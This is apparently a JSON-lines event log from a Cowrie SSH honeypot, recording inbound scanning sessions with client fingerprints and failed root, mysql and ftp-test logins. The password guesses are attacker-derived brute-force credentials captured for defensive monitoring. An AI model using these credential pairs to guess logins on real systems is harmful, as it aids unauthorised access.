{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.456073Z","src_ip":"176.32.39.21","session":"7c88aacf37d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lg@123456","message":"login attempt [root/lg@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.650042Z","src_ip":"188.92.241.150","session":"976f941f187c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"njhvjp","message":"login attempt [root/njhvjp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.800778Z","src_ip":"176.32.39.21","session":"7c88aacf37d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:43.796309Z","src_ip":"188.92.241.150","session":"976f941f187c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:43.920131Z","src_ip":"176.32.39.21","session":"7c88aacf37d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34682,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbc3b5fcf053","protocol":"ssh","message":"New connection: 45.148.10.121:34682 (10.17.0.5:22) [session: bbc3b5fcf053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:51.900673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:51.904026Z","src_ip":"45.148.10.121","session":"bbc3b5fcf053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:51.991069Z","src_ip":"45.148.10.121","session":"bbc3b5fcf053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":44386,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4776c5d302","protocol":"ssh","message":"New connection: 109.237.96.109:44386 (159.203.135.109:22) [session: 5e4776c5d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:53.521134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:53.524472Z","src_ip":"109.237.96.109","session":"5e4776c5d302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:53.615444Z","src_ip":"109.237.96.109","session":"5e4776c5d302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"310792","message":"login attempt [root/310792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:53.883280Z","src_ip":"109.237.96.109","session":"5e4776c5d302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:54.976351Z","src_ip":"109.237.96.109","session":"5e4776c5d302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.131.130.11","src_port":46760,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f83e89bde5","protocol":"ssh","message":"New connection: 114.131.130.11:46760 (10.17.0.5:22) [session: 25f83e89bde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:19.366955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:19.372049Z","src_ip":"114.131.130.11","session":"25f83e89bde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:19.630813Z","src_ip":"114.131.130.11","session":"25f83e89bde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2016","message":"login attempt [root/unitedstates2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:20.672960Z","src_ip":"114.131.130.11","session":"25f83e89bde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:21.928509Z","src_ip":"114.131.130.11","session":"25f83e89bde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51474,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f8383ae212","protocol":"ssh","message":"New connection: 91.92.40.176:51474 (10.17.0.5:22) [session: 00f8383ae212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:34.989064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:34.999657Z","src_ip":"91.92.40.176","session":"00f8383ae212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:35.072300Z","src_ip":"91.92.40.176","session":"00f8383ae212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"admin","message":"login attempt [mysql/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:35.389765Z","src_ip":"91.92.40.176","session":"00f8383ae212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:36.476810Z","src_ip":"91.92.40.176","session":"00f8383ae212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":36100,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e11b45b7dbb","protocol":"ssh","message":"New connection: 162.241.132.183:36100 (159.203.135.109:22) [session: 5e11b45b7dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:41.818897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:41.823785Z","src_ip":"162.241.132.183","session":"5e11b45b7dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:41.850791Z","src_ip":"162.241.132.183","session":"5e11b45b7dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pyth2024","message":"login attempt [root/pyth2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:41.927948Z","src_ip":"162.241.132.183","session":"5e11b45b7dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:42.955591Z","src_ip":"162.241.132.183","session":"5e11b45b7dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.126","src_port":54723,"dst_ip":"159.203.135.109","dst_port":22,"session":"b37746112fa0","protocol":"ssh","message":"New connection: 147.185.132.126:54723 (159.203.135.109:22) [session: b37746112fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:50.661612Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:50.820005Z","src_ip":"147.185.132.126","session":"b37746112fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":41826,"dst_ip":"10.17.0.5","dst_port":22,"session":"0494b9951cbd","protocol":"ssh","message":"New connection: 14.55.144.22:41826 (10.17.0.5:22) [session: 0494b9951cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:55.852310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:55.856359Z","src_ip":"14.55.144.22","session":"0494b9951cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:56.062981Z","src_ip":"14.55.144.22","session":"0494b9951cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":47100,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eca62851e02","protocol":"ssh","message":"New connection: 188.92.241.150:47100 (10.17.0.5:22) [session: 6eca62851e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:56.462790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:56.467064Z","src_ip":"188.92.241.150","session":"6eca62851e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:56.599909Z","src_ip":"188.92.241.150","session":"6eca62851e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-test","password":"ftp-test@2026","message":"login attempt [ftp-test/ftp-test@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:56.903639Z","src_ip":"14.55.144.22","session":"0494b9951cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"791112","message":"login attempt [root/791112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:57.163549Z","src_ip":"188.92.241.150","session":"6eca62851e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:58.108526Z","src_ip":"14.55.144.22","session":"0494b9951cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:00:58.298742Z","src_ip":"188.92.241.150","session":"6eca62851e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":49494,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a885682b135","protocol":"ssh","message":"New connection: 154.16.115.34:49494 (159.203.135.109:22) [session: 1a885682b135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:16.393768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:16.396426Z","src_ip":"154.16.115.34","session":"1a885682b135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:16.423677Z","src_ip":"154.16.115.34","session":"1a885682b135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"balancer789","message":"login attempt [root/balancer789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:16.502200Z","src_ip":"154.16.115.34","session":"1a885682b135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:17.529922Z","src_ip":"154.16.115.34","session":"1a885682b135","protocol":"ssh"}
